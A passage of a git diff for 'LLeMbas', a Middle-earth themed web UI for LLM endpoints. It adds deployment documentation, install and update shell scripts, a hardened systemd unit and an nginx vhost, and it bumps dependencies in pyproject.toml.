<path d="M37.8 27.0 Q40.8 27.9 43.2 28.1"/>
|
||||
<path d="M26.8 39.2 Q24.9 37.4 24.7 35.3"/>
|
||||
<path d="M32.0 33.3 Q30.1 31.5 29.8 29.2"/>
|
||||
<path d="M37.8 26.9 Q36.4 25.6 36.1 23.7"/>
|
||||
<path d="M26.8 39.2 Q28.7 40.9 30.7 40.8"/>
|
||||
<path d="M32.0 33.3 Q33.9 35.0 36.1 34.9"/>
|
||||
<path d="M37.8 26.9 Q39.4 28.2 40.9 28.2"/>
|
||||
</g>
|
||||
</g>
|
||||
</svg>
|
||||
|
||||
|
Before Width: | Height: | Size: 2.1 KiB After Width: | Height: | Size: 2.1 KiB |
@@ -5,10 +5,10 @@
|
||||
LLM and take the accent colour; see scripts/build_artwork.py. -->
|
||||
<style>
|
||||
.base { fill: var(--lembas-ink, #1B1F23); }
|
||||
.accent { fill: var(--lembas-gold, #C9A227); }
|
||||
.accent { fill: var(--lembas-leaf, #4C7A22); }
|
||||
@media (prefers-color-scheme: dark) {
|
||||
.base { fill: var(--lembas-ink, #EDE6D6); }
|
||||
.accent { fill: var(--lembas-gold, #E0B252); }
|
||||
.accent { fill: var(--lembas-leaf, #9BCC5A); }
|
||||
}
|
||||
</style>
|
||||
<g transform="translate(-5.07 110.15)">
|
||||
|
||||
|
Before Width: | Height: | Size: 4.2 KiB After Width: | Height: | Size: 4.2 KiB |
@@ -0,0 +1,133 @@
|
||||
# Deployment
|
||||
|
||||
Installs LLeMbas as a **system** service behind nginx with a self-signed
|
||||
certificate. Written for a systemd + nginx host; tested on Arch.
|
||||
|
||||
| | Default |
|
||||
|---|---|
|
||||
| Service user | `lembas` (system account, `nologin`) |
|
||||
| Home | `/home/lembas` |
|
||||
| Install prefix | `/srv/lembas` (bind mount of the home) |
|
||||
| Checkout | `$PREFIX/app` |
|
||||
| Virtualenv | `$PREFIX/venv` |
|
||||
| Database | `$PREFIX/data/lembas.db` |
|
||||
| Environment | `$PREFIX/lembas.env` (mode 600) |
|
||||
| Unit | `/etc/systemd/system/lembas.service` |
|
||||
| Vhost | `/etc/nginx/conf.d/<host>.conf` |
|
||||
| Listens on | `127.0.0.1:8080` — reachable only through nginx |
|
||||
|
||||
The prefix defaults to a bind mount of the service user's home because on many
|
||||
machines the root filesystem is small while `/home` is not, and the virtualenv
|
||||
plus database belong on the larger volume. Set `PREFIX=$HOME_DIR` to skip it.
|
||||
|
||||
## First install
|
||||
|
||||
```bash
|
||||
SITE_HOST=chat.example ./deploy/install.sh
|
||||
```
|
||||
|
||||
Idempotent — safe to re-run. It creates the user and bind mount, clones the
|
||||
repo, builds the venv, generates `lembas.env` with a fresh `LEMBAS_SECRET_KEY`,
|
||||
installs the unit and vhost, issues a self-signed certificate, adds a
|
||||
`/etc/hosts` entry if the name does not already resolve, and enables the
|
||||
service.
|
||||
|
||||
Then open `https://<SITE_HOST>`, accept the certificate warning, and create the
|
||||
first account — it becomes the administrator.
|
||||
|
||||
Everything is overridable from the environment:
|
||||
|
||||
| Variable | Default | |
|
||||
|---|---|---|
|
||||
| `SITE_HOST` | `lembas.local` | nginx `server_name` and certificate CN |
|
||||
| `APP_PORT` | `8080` | loopback port the service binds |
|
||||
| `SERVICE_USER` | `lembas` | system account to run as |
|
||||
| `HOME_DIR` | `/home/lembas` | that account's home |
|
||||
| `PREFIX` | `/srv/lembas` | install root (bind mount of `HOME_DIR`) |
|
||||
| `REPO_URL` | this checkout's `origin` | so a fork deploys itself |
|
||||
| `LEMBAS_BRANCH` | `main` | branch to deploy |
|
||||
|
||||
## Deploying a change
|
||||
|
||||
```bash
|
||||
git push
|
||||
./deploy/update.sh
|
||||
```
|
||||
|
||||
`update.sh` fetches, hard-resets the deployment checkout to `origin/main`,
|
||||
reinstalls dependencies and restarts, printing the commits it pulled. The hard
|
||||
reset is deliberate: nothing is ever edited in place there, so there is no local
|
||||
work to preserve and no conflicts to resolve.
|
||||
|
||||
## Operating it
|
||||
|
||||
```bash
|
||||
systemctl status lembas
|
||||
journalctl -u lembas -f
|
||||
sudo -u lembas /srv/lembas/venv/bin/lembas info # paths and counts
|
||||
```
|
||||
|
||||
Configuration lives in `$PREFIX/lembas.env`. Edit it and restart.
|
||||
|
||||
## Notes
|
||||
|
||||
**The secret key is generated once.** `install.sh` will not overwrite an
|
||||
existing `lembas.env`. Rotating `LEMBAS_SECRET_KEY` signs every user out *and*
|
||||
makes stored upstream API keys unreadable — they would have to be re-entered.
|
||||
|
||||
**nginx buffering is off for a reason.** Replies stream as server-sent events.
|
||||
With `proxy_buffering on` (the default) nginx holds the entire reply and
|
||||
delivers it in one lump at the end, which is indistinguishable from streaming
|
||||
being broken. `proxy_read_timeout` is raised to an hour because a model can
|
||||
think for minutes before the first token.
|
||||
|
||||
**The vhost passes WebSocket upgrades through, and must.** The terminal panel
|
||||
is the one WebSocket in LLeMbas. A `location` that sets `Connection ""` — which
|
||||
is what SSE alone needs, and what this template used to say — fails every
|
||||
handshake, and a failed handshake tells the browser nothing: no status, no
|
||||
reason. The `map $http_upgrade` at the top of the vhost yields the empty string
|
||||
when the client did not ask to upgrade, so streaming is unaffected. `update.sh`
|
||||
warns when the installed vhost has drifted from the template, because this is
|
||||
the failure most likely to be diagnosed as a bug in the application.
|
||||
|
||||
**Every restart kills every open shell.** A reply being written is persisted
|
||||
with whatever it has; a terminal has nothing to persist, so a command still
|
||||
running on the far side is cut off. `update.sh` restarts unconditionally, so a
|
||||
deploy in the middle of somebody's `apt-get dist-upgrade` ends it. The panel is
|
||||
told why rather than silently reconnecting to a new shell, which would have
|
||||
lost the working directory and the half-typed command.
|
||||
|
||||
**A terminal is not in the transcript, and is not logged.** The open and the
|
||||
close are logged with the user, the chat and the connection; what was typed is
|
||||
not recorded anywhere. That follows from the design — the chat's mode governs
|
||||
the model, not the person at the keyboard — but everything else an agent chat
|
||||
does *is* in the transcript, so it is a difference in kind and worth knowing
|
||||
before somebody goes looking for the history.
|
||||
|
||||
**Nothing an agent does runs on this machine.** Agent chats execute their
|
||||
commands over SSH, on a host somebody added and prepared — a container, a VM,
|
||||
another machine. That is the whole isolation story, and it is why the unit can
|
||||
stay locked down instead of being opened up to make room for a sandbox.
|
||||
|
||||
`ProtectSystem=full` rather than `strict` only because the data directory must
|
||||
be writable and `strict` would mean listing every path.
|
||||
|
||||
The practical consequence for whoever runs this: **the security of an agent
|
||||
chat is the security of the host behind its SSH profile.** A throwaway
|
||||
container with the one project mounted into it is a very different thing from a
|
||||
key to a production server, and LLeMbas cannot tell them apart.
|
||||
|
||||
**Use a real certificate if this is exposed beyond a trusted LAN.** The
|
||||
self-signed cert exists so the install works with no external dependencies;
|
||||
point `ssl_certificate` at a real one and nothing else needs to change.
|
||||
|
||||
The session cookie is deliberately not marked `secure`, so that a LAN install
|
||||
over plain http can sign anybody in at all. That has always meant a network
|
||||
attacker on http could steal a session; with the terminal it also means they
|
||||
could open an interactive shell on the machine behind that chat. If the
|
||||
terminal is switched on, run this over TLS.
|
||||
|
||||
**One worker only.** True of generations already — the registry is in-process —
|
||||
and sharper here: with two workers a browser reconnecting to its terminal could
|
||||
land in the process that has no shell for it, and silently open a second one on
|
||||
the same machine.
|
||||
@@ -0,0 +1,163 @@
|
||||
#!/usr/bin/env bash
|
||||
# Install LLeMbas as a system service behind nginx with a self-signed cert.
|
||||
#
|
||||
# Creates a dedicated service user, a virtualenv, a systemd unit and an nginx
|
||||
# vhost. Idempotent: safe to re-run. To deploy new code afterwards use
|
||||
# update.sh, which is what a `git push` should be followed by.
|
||||
#
|
||||
# Everything is configurable from the environment:
|
||||
#
|
||||
# SITE_HOST=chat.example ./deploy/install.sh # vhost name
|
||||
# APP_PORT=8080 # loopback port
|
||||
# PREFIX=/srv/lembas # install root
|
||||
# HOME_DIR=/home/lembas # service user's home
|
||||
# REPO_URL=... # defaults to this checkout's origin
|
||||
#
|
||||
# PREFIX defaults to a bind mount of HOME_DIR rather than living directly under
|
||||
# /srv, because on many machines the root filesystem is small and the venv plus
|
||||
# database belong on the larger /home volume. Set PREFIX=HOME_DIR to skip that.
|
||||
set -euo pipefail
|
||||
|
||||
HERE="$(dirname "$(readlink -f "$0")")"
|
||||
|
||||
SITE_HOST="${SITE_HOST:-lembas.local}"
|
||||
APP_PORT="${APP_PORT:-8080}"
|
||||
SERVICE_USER="${SERVICE_USER:-lembas}"
|
||||
HOME_DIR="${HOME_DIR:-/home/lembas}"
|
||||
PREFIX="${PREFIX:-/srv/lembas}"
|
||||
BRANCH="${LEMBAS_BRANCH:-main}"
|
||||
# Default to wherever this checkout came from, so a fork deploys itself.
|
||||
REPO_URL="${REPO_URL:-$(git -C "$HERE" remote get-url origin 2>/dev/null || true)}"
|
||||
|
||||
APP="$PREFIX/app"
|
||||
VENV="$PREFIX/venv"
|
||||
ENV_FILE="$PREFIX/lembas.env"
|
||||
|
||||
if [[ -z "$REPO_URL" ]]; then
|
||||
echo "Could not determine REPO_URL. Set it explicitly." >&2
|
||||
exit 1
|
||||
fi
|
||||
|
||||
echo "== plan =="
|
||||
echo " host : https://$SITE_HOST -> 127.0.0.1:$APP_PORT"
|
||||
echo " user : $SERVICE_USER ($HOME_DIR)"
|
||||
echo " prefix : $PREFIX"
|
||||
echo " repo : $REPO_URL ($BRANCH)"
|
||||
|
||||
echo "== service user =="
|
||||
# --system: no ageing, no mail spool. Home under /home, not /var/lib, so the
|
||||
# venv and database sit on the larger volume.
|
||||
if ! getent passwd "$SERVICE_USER" >/dev/null; then
|
||||
sudo useradd --system --create-home --home-dir "$HOME_DIR" \
|
||||
--shell /usr/bin/nologin --comment "LLeMbas" "$SERVICE_USER"
|
||||
else
|
||||
echo " user $SERVICE_USER already exists"
|
||||
fi
|
||||
sudo chmod 755 "$HOME_DIR"
|
||||
|
||||
if [[ "$PREFIX" != "$HOME_DIR" ]]; then
|
||||
echo "== $PREFIX bind-mount onto $HOME_DIR =="
|
||||
sudo mkdir -p "$PREFIX"
|
||||
grep -q "^$HOME_DIR[[:space:]]" /etc/fstab \
|
||||
|| echo "$HOME_DIR $PREFIX none bind 0 0" | sudo tee -a /etc/fstab >/dev/null
|
||||
sudo systemctl daemon-reload
|
||||
mountpoint -q "$PREFIX" || sudo mount "$PREFIX"
|
||||
fi
|
||||
|
||||
echo "== checkout =="
|
||||
if [[ ! -d "$APP/.git" ]]; then
|
||||
sudo -u "$SERVICE_USER" git clone --branch "$BRANCH" "$REPO_URL" "$APP"
|
||||
else
|
||||
echo " already cloned; use update.sh to pull"
|
||||
fi
|
||||
|
||||
echo "== virtualenv =="
|
||||
if [[ ! -x "$VENV/bin/python" ]]; then
|
||||
sudo -u "$SERVICE_USER" python -m venv "$VENV"
|
||||
fi
|
||||
sudo -u "$SERVICE_USER" "$VENV/bin/pip" install --quiet --upgrade pip
|
||||
# The extras a deployment gets. `search` because DuckDuckGo is the default web
|
||||
# search provider and is meant to need no setup; `ssh` because agent chats reach
|
||||
# their machine over it and a deployment without it offers the feature with an
|
||||
# install hint instead. Listed here AND in update.sh -- an extra added to only
|
||||
# one of them means existing deployments silently miss it.
|
||||
LEMBAS_EXTRAS="${LEMBAS_EXTRAS:-search,ssh}"
|
||||
sudo -u "$SERVICE_USER" "$VENV/bin/pip" install --quiet -e "$APP[$LEMBAS_EXTRAS]"
|
||||
|
||||
echo "== environment =="
|
||||
# Generated once and never regenerated: rotating LEMBAS_SECRET_KEY signs every
|
||||
# user out AND makes the stored upstream API keys unreadable.
|
||||
if [[ ! -f "$ENV_FILE" ]]; then
|
||||
KEY=$("$VENV/bin/python" -c "import secrets; print(secrets.token_urlsafe(48))")
|
||||
sudo tee "$ENV_FILE" >/dev/null <<EOF
|
||||
# LLeMbas service environment. Generated by deploy/install.sh.
|
||||
# LEMBAS_SECRET_KEY signs sessions and encrypts stored API keys.
|
||||
# Changing it signs everyone out and makes stored API keys unreadable.
|
||||
LEMBAS_SECRET_KEY=$KEY
|
||||
LEMBAS_DATA_DIR=$PREFIX/data
|
||||
# Loopback only: reachable through the nginx vhost, never directly.
|
||||
LEMBAS_HOST=127.0.0.1
|
||||
LEMBAS_PORT=$APP_PORT
|
||||
LEMBAS_LOG_LEVEL=info
|
||||
LEMBAS_ALLOW_SIGNUP=true
|
||||
LEMBAS_DEFAULT_THEME=moria
|
||||
EOF
|
||||
sudo chown "$SERVICE_USER:$SERVICE_USER" "$ENV_FILE"
|
||||
sudo chmod 600 "$ENV_FILE"
|
||||
echo " generated $ENV_FILE"
|
||||
else
|
||||
echo " $ENV_FILE exists, keeping it (and its secret key)"
|
||||
fi
|
||||
|
||||
sudo install -d -o "$SERVICE_USER" -g "$SERVICE_USER" -m 750 "$PREFIX/data"
|
||||
|
||||
echo "== systemd unit =="
|
||||
sed -e "s|__PREFIX__|$PREFIX|g" -e "s|__SERVICE_USER__|$SERVICE_USER|g" \
|
||||
"$HERE/lembas.service" | sudo tee /etc/systemd/system/lembas.service >/dev/null
|
||||
# Which version of the template this host is running. update.sh compares
|
||||
# against it and says so when the template moves on, because the installed
|
||||
# unit usually grows host-specific lines and cannot simply be overwritten.
|
||||
sha256sum "$HERE/lembas.service" | cut -d' ' -f1 | sudo tee "$PREFIX/.unit-applied" >/dev/null
|
||||
sudo systemctl daemon-reload
|
||||
|
||||
echo "== self-signed cert for $SITE_HOST =="
|
||||
sudo mkdir -p /etc/nginx/ssl
|
||||
if [[ ! -f "/etc/nginx/ssl/$SITE_HOST.crt" ]]; then
|
||||
sudo openssl req -x509 -newkey rsa:2048 -nodes \
|
||||
-keyout "/etc/nginx/ssl/$SITE_HOST.key" -out "/etc/nginx/ssl/$SITE_HOST.crt" \
|
||||
-days 3650 -subj "/CN=$SITE_HOST" -addext "subjectAltName=DNS:$SITE_HOST"
|
||||
sudo chmod 600 "/etc/nginx/ssl/$SITE_HOST.key"
|
||||
sudo chmod 644 "/etc/nginx/ssl/$SITE_HOST.crt"
|
||||
fi
|
||||
|
||||
echo "== nginx vhost =="
|
||||
sed -e "s|__SITE_HOST__|$SITE_HOST|g" -e "s|__APP_PORT__|$APP_PORT|g" \
|
||||
"$HERE/nginx-vhost.conf" | sudo tee "/etc/nginx/conf.d/$SITE_HOST.conf" >/dev/null
|
||||
sudo nginx -t
|
||||
sudo systemctl reload nginx
|
||||
|
||||
# What this host was installed with, so update.sh can name the vhost it should
|
||||
# be comparing against and print a command that actually runs. Without it the
|
||||
# drift check below could only say "something changed somewhere".
|
||||
printf 'SITE_HOST=%s\nAPP_PORT=%s\n' "$SITE_HOST" "$APP_PORT" \
|
||||
| sudo tee "$PREFIX/.deploy-env" >/dev/null
|
||||
sha256sum "$HERE/nginx-vhost.conf" | cut -d' ' -f1 \
|
||||
| sudo tee "$PREFIX/.vhost-applied" >/dev/null
|
||||
|
||||
echo "== local name resolution =="
|
||||
# Only useful when the LAN's DNS does not already answer for this name.
|
||||
if ! getent hosts "$SITE_HOST" >/dev/null; then
|
||||
printf '127.0.0.1\t%s\n::1\t\t%s\n' "$SITE_HOST" "$SITE_HOST" | sudo tee -a /etc/hosts >/dev/null
|
||||
echo " added $SITE_HOST to /etc/hosts"
|
||||
else
|
||||
echo " $SITE_HOST already resolves"
|
||||
fi
|
||||
|
||||
echo "== enable service =="
|
||||
sudo systemctl enable --now lembas
|
||||
sleep 2
|
||||
sudo systemctl --no-pager --lines=0 status lembas || true
|
||||
|
||||
echo
|
||||
echo "LLeMbas is up at https://$SITE_HOST (self-signed cert; accept the warning)"
|
||||
echo "Create the first account -- it becomes the administrator."
|
||||
@@ -0,0 +1,54 @@
|
||||
# LLeMbas system service template.
|
||||
#
|
||||
# install.sh substitutes __PREFIX__ and __SERVICE_USER__ and writes the result
|
||||
# to /etc/systemd/system/lembas.service. Edit this file, not the installed copy.
|
||||
#
|
||||
# A system unit, not a user unit, so it survives logout and comes up at boot
|
||||
# without anyone signing in.
|
||||
|
||||
[Unit]
|
||||
Description=LLeMbas - web UI for language models
|
||||
After=network-online.target
|
||||
Wants=network-online.target
|
||||
# The prefix is usually a bind mount; the venv and database live there, so
|
||||
# starting before it is mounted would create an empty database in its place.
|
||||
RequiresMountsFor=__PREFIX__
|
||||
|
||||
[Service]
|
||||
Type=simple
|
||||
User=__SERVICE_USER__
|
||||
Group=__SERVICE_USER__
|
||||
WorkingDirectory=__PREFIX__/app
|
||||
EnvironmentFile=__PREFIX__/lembas.env
|
||||
ExecStart=__PREFIX__/venv/bin/lembas serve
|
||||
Restart=on-failure
|
||||
RestartSec=5
|
||||
|
||||
# The bind address comes from LEMBAS_HOST in the environment file, which the
|
||||
# installer sets to 127.0.0.1: reachable through nginx, never directly.
|
||||
|
||||
# --- Hardening -------------------------------------------------------------
|
||||
# Agent chats run their commands over SSH, on a machine somebody chose and
|
||||
# prepared -- a container, a VM, another host. Nothing an agent does executes
|
||||
# here, which is what lets this stay locked down rather than being opened up to
|
||||
# make room for a sandbox.
|
||||
#
|
||||
# ProtectSystem stays `full` rather than `strict` only because the data
|
||||
# directory has to be writable and `strict` would need every path spelled out.
|
||||
NoNewPrivileges=yes
|
||||
PrivateTmp=yes
|
||||
ProtectSystem=full
|
||||
ProtectKernelTunables=yes
|
||||
ProtectControlGroups=yes
|
||||
RestrictSUIDSGID=yes
|
||||
ReadWritePaths=__PREFIX__
|
||||
LimitNOFILE=65535
|
||||
|
||||
# Bounds on the service as a whole. Not aimed at anything in particular; a web
|
||||
# application that has grown a habit of holding network connections open is
|
||||
# worth a ceiling.
|
||||
TasksMax=2048
|
||||
MemoryMax=8G
|
||||
|
||||
[Install]
|
||||
WantedBy=multi-user.target
|
||||
@@ -0,0 +1,88 @@
|
||||
# nginx vhost template for LLeMbas.
|
||||
#
|
||||
# install.sh substitutes __SITE_HOST__ and __APP_PORT__ and writes the result to
|
||||
# /etc/nginx/conf.d/<host>.conf. Edit this file, not the installed copy.
|
||||
#
|
||||
# Assumes a self-signed certificate at /etc/nginx/ssl/<host>.{crt,key}, which
|
||||
# install.sh generates. To use a real certificate, point ssl_certificate at it;
|
||||
# nothing else here needs to change.
|
||||
|
||||
# The terminal panel is a WebSocket, and a proxy that does not pass an upgrade
|
||||
# through breaks it with no error either side can report -- the browser sees a
|
||||
# failed handshake, which carries no status and no reason. This map yields
|
||||
# "upgrade" only when the client asked for one and the empty string otherwise,
|
||||
# which is exactly what the streamed-reply case below needs, so one `location`
|
||||
# serves both. `conf.d/*.conf` is included inside `http {}`, where `map` is
|
||||
# legal; the name is prefixed because two vhosts from this template would
|
||||
# otherwise collide.
|
||||
map $http_upgrade $lembas_connection_upgrade {
|
||||
default upgrade;
|
||||
'' '';
|
||||
}
|
||||
|
||||
server {
|
||||
listen 80;
|
||||
listen [::]:80;
|
||||
server_name __SITE_HOST__;
|
||||
return 301 https://$host$request_uri;
|
||||
}
|
||||
|
||||
server {
|
||||
listen 443 ssl;
|
||||
listen [::]:443 ssl;
|
||||
http2 on;
|
||||
server_name __SITE_HOST__;
|
||||
|
||||
ssl_certificate /etc/nginx/ssl/__SITE_HOST__.crt;
|
||||
ssl_certificate_key /etc/nginx/ssl/__SITE_HOST__.key;
|
||||
ssl_protocols TLSv1.2 TLSv1.3;
|
||||
|
||||
# File uploads land here once that feature exists; 0 = no limit.
|
||||
client_max_body_size 0;
|
||||
|
||||
location / {
|
||||
proxy_pass http://127.0.0.1:__APP_PORT__;
|
||||
proxy_http_version 1.1;
|
||||
proxy_set_header Host $host;
|
||||
proxy_set_header X-Real-IP $remote_addr;
|
||||
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
|
||||
proxy_set_header X-Forwarded-Proto $scheme;
|
||||
|
||||
# Streamed replies are server-sent events. Every one of these matters:
|
||||
# with buffering on (the default) nginx holds the whole reply and
|
||||
# delivers it in one lump at the end, which is indistinguishable from
|
||||
# streaming being broken.
|
||||
proxy_buffering off;
|
||||
proxy_request_buffering off;
|
||||
proxy_cache off;
|
||||
# SSE is plain HTTP/1.1 chunked and needs Connection left empty; the
|
||||
# terminal is a real upgrade and needs it set. The map at the top of
|
||||
# this file is what lets one location do both -- a hard-coded
|
||||
# `Connection ""` here, which is what was here before, works for every
|
||||
# streamed reply and silently breaks every terminal.
|
||||
proxy_set_header Upgrade $http_upgrade;
|
||||
proxy_set_header Connection $lembas_connection_upgrade;
|
||||
|
||||
# A model can think for minutes before the first token. The default
|
||||
# 60s read timeout would cut long generations off mid-sentence.
|
||||
proxy_read_timeout 3600s;
|
||||
proxy_send_timeout 3600s;
|
||||
}
|
||||
|
||||
location /static/ {
|
||||
proxy_pass http://127.0.0.1:__APP_PORT__;
|
||||
proxy_set_header Host $host;
|
||||
expires 1h;
|
||||
add_header Cache-Control "public";
|
||||
}
|
||||
|
||||
# The service worker must never be cached. A stale worker keeps serving a
|
||||
# stale cache to every tab, and there is no way to tell it to stop. The
|
||||
# application already sends no-store; this stops the proxy overriding it.
|
||||
# /manifest.webmanifest needs nothing special and comes through location /.
|
||||
location = /sw.js {
|
||||
proxy_pass http://127.0.0.1:__APP_PORT__;
|
||||
proxy_set_header Host $host;
|
||||
add_header Cache-Control "no-store";
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,145 @@
|
||||
#!/usr/bin/env bash
|
||||
# Pull the latest LLeMbas into the deployment and restart the service.
|
||||
#
|
||||
# Run this after pushing. It fetches, hard-resets the deployment checkout to the
|
||||
# remote branch, reinstalls dependencies if they changed, and restarts. Nothing
|
||||
# is ever edited in place under the deployment prefix, so a hard reset is safe
|
||||
# and avoids merge conflicts from a dirty tree.
|
||||
set -euo pipefail
|
||||
|
||||
SERVICE_USER="${SERVICE_USER:-lembas}"
|
||||
PREFIX="${PREFIX:-/srv/lembas}"
|
||||
BRANCH="${LEMBAS_BRANCH:-main}"
|
||||
|
||||
APP="$PREFIX/app"
|
||||
VENV="$PREFIX/venv"
|
||||
|
||||
if [[ ! -d "$APP/.git" ]]; then
|
||||
echo "No deployment at $APP. Run deploy/install.sh first." >&2
|
||||
exit 1
|
||||
fi
|
||||
|
||||
git_as() { sudo -u "$SERVICE_USER" git -C "$APP" "$@"; }
|
||||
|
||||
before=$(git_as rev-parse HEAD)
|
||||
|
||||
echo "== fetching =="
|
||||
git_as fetch --quiet origin "$BRANCH"
|
||||
git_as reset --hard --quiet "origin/$BRANCH"
|
||||
|
||||
after=$(git_as rev-parse HEAD)
|
||||
|
||||
if [[ "$before" == "$after" ]]; then
|
||||
echo " already at ${after:0:7}, nothing to pull"
|
||||
else
|
||||
echo " ${before:0:7} -> ${after:0:7}"
|
||||
git_as --no-pager log --oneline "$before..$after" | sed 's/^/ /'
|
||||
fi
|
||||
|
||||
# Cheap and idempotent; catches a dependency added since the last deploy.
|
||||
# The extras a deployment gets. `search` because DuckDuckGo is the default web
|
||||
# search provider and is meant to need no setup; `ssh` because agent chats reach
|
||||
# their machine over it and a deployment without it offers the feature with an
|
||||
# install hint instead. Listed here AND in install.sh -- an extra added to only
|
||||
# one of them means existing deployments silently miss it.
|
||||
LEMBAS_EXTRAS="${LEMBAS_EXTRAS:-search,ssh}"
|
||||
echo "== dependencies =="
|
||||
sudo -u "$SERVICE_USER" "$VENV/bin/pip" install --quiet -e "$APP[$LEMBAS_EXTRAS]"
|
||||
|
||||
# The unit is NOT reinstalled automatically. An installed unit usually carries
|
||||
# host-specific lines the template cannot know about -- an ordering dependency
|
||||
# on whatever serves the models, a note about how the prefix is mounted -- and
|
||||
# overwriting those on every update would be a worse surprise than drifting.
|
||||
#
|
||||
# So this compares the *template* against the one last applied here, not the
|
||||
# template against the installed file. Comparing the files would warn forever
|
||||
# about the local lines, and a warning that always fires is one nobody reads.
|
||||
#
|
||||
# The drift is worth catching: a change in the unit can be what makes a release
|
||||
# work at all, and a host that pulled the code without it would run the new
|
||||
# version under the old settings and fail confusingly.
|
||||
STAMP="$PREFIX/.unit-applied"
|
||||
current=$(sha256sum "$APP/deploy/lembas.service" | cut -d' ' -f1)
|
||||
if [[ -f "$STAMP" && "$(cat "$STAMP")" != "$current" ]]; then
|
||||
echo "== systemd unit ==" >&2
|
||||
echo " deploy/lembas.service has changed since it was last applied here." >&2
|
||||
echo " Review it and merge by hand, keeping this host's own lines:" >&2
|
||||
echo " diff /etc/systemd/system/lembas.service <(sed \\" >&2
|
||||
echo " -e 's|__PREFIX__|$PREFIX|g' -e 's|__SERVICE_USER__|$SERVICE_USER|g' \\" >&2
|
||||
echo " $APP/deploy/lembas.service)" >&2
|
||||
echo " Then: sudo systemctl daemon-reload && sudo systemctl restart lembas" >&2
|
||||
echo " And record it as applied: echo $current | sudo tee $STAMP" >&2
|
||||
elif [[ ! -f "$STAMP" ]]; then
|
||||
# First run after this check was added. Assume what is installed is current;
|
||||
# there is nothing to compare against and crying wolf on every host once is
|
||||
# not worth it.
|
||||
echo "$current" | sudo tee "$STAMP" >/dev/null
|
||||
fi
|
||||
|
||||
# The same argument for the vhost, and the failure is worse. A stale unit at
|
||||
# least says something in the journal; a stale vhost breaks a feature two layers
|
||||
# away, and the only symptom is a panel that says it could not connect. The
|
||||
# terminal is a WebSocket, and a `location` that does not pass an upgrade
|
||||
# through fails every handshake while every test in the suite still passes.
|
||||
VHOST_STAMP="$PREFIX/.vhost-applied"
|
||||
vhost_now=$(sha256sum "$APP/deploy/nginx-vhost.conf" | cut -d' ' -f1)
|
||||
|
||||
site_host=""; app_port=""
|
||||
# Written by install.sh, and absent on every deployment that predates it --
|
||||
# which is the case that most needs the one-time check below, so the port is
|
||||
# recovered from the environment file and the vhost found by what it proxies to.
|
||||
# Guessing "your-host" instead would have skipped the check on exactly the hosts
|
||||
# it was added for.
|
||||
if [[ -f "$PREFIX/.deploy-env" ]]; then
|
||||
. "$PREFIX/.deploy-env"
|
||||
site_host="$SITE_HOST"; app_port="$APP_PORT"
|
||||
fi
|
||||
if [[ -z "$app_port" && -f "$PREFIX/lembas.env" ]]; then
|
||||
app_port=$(sed -n 's/^LEMBAS_PORT=//p' "$PREFIX/lembas.env" | tail -1)
|
||||
fi
|
||||
app_port="${app_port:-8080}"
|
||||
|
||||
installed_vhost=""
|
||||
if [[ -n "$site_host" && -f "/etc/nginx/conf.d/$site_host.conf" ]]; then
|
||||
installed_vhost="/etc/nginx/conf.d/$site_host.conf"
|
||||
else
|
||||
installed_vhost=$(grep -ls "proxy_pass http://127.0.0.1:$app_port" \
|
||||
/etc/nginx/conf.d/*.conf 2>/dev/null | head -1)
|
||||
fi
|
||||
|
||||
vhost_stale=""
|
||||
if [[ -f "$VHOST_STAMP" ]]; then
|
||||
[[ "$(cat "$VHOST_STAMP")" != "$vhost_now" ]] && vhost_stale="the template has changed"
|
||||
elif [[ -n "$installed_vhost" ]]; then
|
||||
# First run with this check, so there is no stamp to compare against. Rather
|
||||
# than assume what is installed is current -- which is what the unit check
|
||||
# does, and would hide exactly the change this was added for -- look for the
|
||||
# one thing that must be there. Everything else is left to the stamp.
|
||||
grep -q 'lembas_connection_upgrade' "$installed_vhost" \
|
||||
|| vhost_stale="the installed vhost does not pass WebSocket upgrades through, so the terminal cannot connect"
|
||||
fi
|
||||
|
||||
if [[ -n "$vhost_stale" ]]; then
|
||||
echo "== nginx vhost ==" >&2
|
||||
echo " $vhost_stale." >&2
|
||||
echo " Review and reinstall it:" >&2
|
||||
echo " diff ${installed_vhost:-/etc/nginx/conf.d/your-host.conf} <(sed \\" >&2
|
||||
echo " -e 's|__SITE_HOST__|${site_host:-your-host}|g' -e 's|__APP_PORT__|$app_port|g' \\" >&2
|
||||
echo " $APP/deploy/nginx-vhost.conf)" >&2
|
||||
echo " Then: sudo nginx -t && sudo systemctl reload nginx" >&2
|
||||
echo " And record it as applied: echo $vhost_now | sudo tee $VHOST_STAMP" >&2
|
||||
elif [[ ! -f "$VHOST_STAMP" ]]; then
|
||||
echo "$vhost_now" | sudo tee "$VHOST_STAMP" >/dev/null
|
||||
fi
|
||||
|
||||
echo "== restart =="
|
||||
sudo systemctl restart lembas
|
||||
sleep 2
|
||||
|
||||
if systemctl is-active --quiet lembas; then
|
||||
echo " lembas is running"
|
||||
else
|
||||
echo " lembas FAILED to start:" >&2
|
||||
sudo journalctl -u lembas -n 30 --no-pager >&2
|
||||
exit 1
|
||||
fi
|
||||
@@ -4,7 +4,7 @@ build-backend = "hatchling.build"
|
||||
|
||||
[project]
|
||||
name = "lembas"
|
||||
version = "0.1.0"
|
||||
version = "0.6.2"
|
||||
description = "LLeMbas - a Middle-earth themed web UI for OpenAI-compatible LLM endpoints"
|
||||
readme = "README.md"
|
||||
requires-python = ">=3.11"
|
||||
@@ -30,8 +30,11 @@ dependencies = [
|
||||
"cryptography>=43.0",
|
||||
"markdown-it-py>=3.0",
|
||||
"mdit-py-plugins>=0.4",
|
||||
"linkify-it-py>=2.0", # bare URLs in model output become links
|
||||
"pygments>=2.18",
|
||||
"nh3>=0.2.18",
|
||||
"pypdf>=5.1", # PDF text extraction for attachments
|
||||
"pillow>=11.0", # image validation and downscaling for vision
|
||||
"typer>=0.12",
|
||||
]
|
||||
|
||||
@@ -41,6 +44,17 @@ dev = [
|
||||
"pytest-asyncio>=0.24",
|
||||
"ruff>=0.7",
|
||||
]
|
||||
# DuckDuckGo search. Optional because it brings a compiled HTTP client and an
|
||||
# XML parser with it, and the other two search providers need only httpx, which
|
||||
# is already a core dependency. Without this the provider is offered in the
|
||||
# admin UI with an install hint rather than silently missing.
|
||||
search = ["ddgs>=9.0"]
|
||||
# Agent chats, which run their commands on a machine reached over SSH. Optional
|
||||
# on the same terms as `search`: an instance that never turns agents on should
|
||||
# not carry the dependency, and one that does gets told how to install it rather
|
||||
# than finding the feature silently missing. `bcrypt` is what decrypts a
|
||||
# passphrase-protected OpenSSH key -- without it, pasting one fails opaquely.
|
